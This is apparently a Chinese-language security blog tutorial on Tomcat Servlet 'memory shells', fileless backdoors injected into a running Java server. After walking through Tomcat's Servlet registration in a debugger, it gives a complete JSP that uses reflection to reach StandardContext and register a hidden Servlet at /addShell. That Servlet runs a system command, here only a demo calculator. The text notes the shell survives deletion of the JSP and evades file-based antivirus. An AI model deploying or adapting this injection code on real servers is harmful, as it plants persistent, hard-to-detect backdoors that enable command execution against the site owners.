Java安全-Servlet内存马

内存马简介

内存马是指将恶意代码注入到内存中,达到无文件落地的效果,使得被攻击方难以察觉。由于是无文件的形式,可以绕过部分基于文件检测的杀软。而 Servlet 内存马是基于 Java Servlet 技术,动态将恶意代码注入到 Tomcat 内存中的一种技术。

Servlet 搭建

选择"新建项目",勾选"Web 应用程序",然后点"下一步"。

这里需要修改为自己的 Java 版本,勾选 Servlet,完成创建。

创建好后默认是用注解的形式注册 Servlet,不过不影响。

找到 pom.xml,添加下面这段,并下载源代码用于后续断点分析。

复制代码
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <!-- 版本按照本地Tomcat版本来 -->
    <version>9.0.84</version>
</dependency>

如果无法下载源代码,在项目根路径运行下面命令,然后再下载。

复制代码
mvn dependency:resolve -Dclassifier=sources

运行 Tomcat,能访问这个页面就说明程序没问题。

Tomcat 中 Servlet 的注册流程

双击 Shift,搜索 ContextConfig。

找到 configureContext 方法,打个断点,开始调试。

观察下面的参数值,可以看到这里传入了三个 Servlet,前两个是系统默认的,第三个是我们自己定义的。

然后继续往下调试,走到这个 for 循环,这里遍历最开始获取的 Servlet,创建了一个包装器来包装 Servlet 的基本信息。

往下走就是对 Servlet 的一些基本赋值。

继续往下调试,这里用 context.addChild(wrapper) 把包装好的 Servlet 加到 context 里,同时对 servletMappings 添加映射关系。

到这里,其实只要控制好 addChild 和 addServletMappingDecoded 就能动态注册 Servlet,但问题是 context 是什么?

我们回到调试界面重新调试,走到这里可以看到,context 其实是 StandardContext,它下面还有个 ApplicationContext,按用户传入的流程应该是 ApplicationContext.context -> StandardContext.context。

这样反向推导可能会让各位彦祖很迷惑,其实可以直接在我们自定义的 Servlet 里下断点,然后浏览器访问这个 Servlet 触发调试。

在表达式这里写入 request.getServletContext(),可以看到返回的是 ApplicationContext.context -> StandardContext.context,正好对应上面说的。

Servlet 内存马原理与实现

假设服务器能上传 JSP,我们就在 Web 目录里建个注册内存马的 JSP 文件,完整代码如下:

java 复制代码
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page language="java" pageEncoding="utf-8" contentType="text/html; charset=UTF-8"%>

<%!
public class ShellServlet extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest request,HttpServletResponse response) throws IOException {
        Runtime.getRuntime().exec("calc");

    }
}
%>

<%

    request.setCharacterEncoding("utf-8");
    response.setCharacterEncoding("utf-8");
    response.setContentType("text/html;charset=UTF-8");
    out.print("你充Q币吗?");
    // 从请求对象获取 ApplicationContext
    ServletContext servletContext = request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext appContext  = (ApplicationContext)applicationContextField.get(servletContext);

    // 从ApplicationContext中获取StandardContext
    Field standardcontextField = appContext.getClass().getDeclaredField("context");
    standardcontextField.setAccessible(true);
    StandardContext standardcontext = (StandardContext)standardcontextField.get(appContext);

    // 注册恶意Servlet
    Wrapper wrapper = standardcontext.createWrapper();
    // 传入Servlet名字
    wrapper.setName("ShellServlet");
    // 传入Servlet映射类名+实例化类
    wrapper.setServletClass(ShellServlet.class.getName());
    wrapper.setServlet(new ShellServlet());
    // 将包装器添加到context
    standardcontext.addChild(wrapper);
    // 添加路由Servlet映射关系
    standardcontext.addServletMappingDecoded("/addShell",wrapper.getName());
%>

把写好的内存马放到 Web 目录后,直接访问恶意 JSP,完成注册 Servlet。

接下来访问我们注册的恶意 Servlet 路径 /addShell,成功弹出计算器。

由于恶意 Servlet 已经注入到 Tomcat 中,即使删掉 shell.jsp,恶意代码依旧存在,除非重启 Tomcat 服务。

相关推荐
Su米苏11 分钟前
Spring AI 中MCP 与普通 @Tool的区别
java·人工智能·spring
码云数智-园园23 分钟前
unique_ptr 还是 shared_ptr?C++ 智能指针选型与内存泄漏实战分析
java·开发语言
老板一杯拿铁25 分钟前
Java 异常体系详解:从字节码原理到最佳实践
java
蜗牛互联网41 分钟前
Java 17 HttpClient调用文件转写API的超时与失败回退
java·人工智能·后端
禾小西1 小时前
07丨Redis 哨兵机制:主库故障后,如何恢复服务?
java·开发语言·redis
我不是阵雨1 小时前
JDK 21虚拟线程Pinning陷阱:一文拔钉解困
java·开发语言
小卡车5552 小时前
java反射、自定义注解的应用(自定义分页)
java
hz567892 小时前
涉密视频会议设备配置指南:终端、音视频采集与配套设施选型
服务器·网络·数据库·安全·实时音视频·信息与通信·智能硬件
BLUcoding2 小时前
接口服务公网超时排查记录:SecureRandom 阻塞问题分析与解决
java·linux·springboot·aes·securerandom
yuniko-n3 小时前
【JUC】Lock 和 synchronzied 锁
java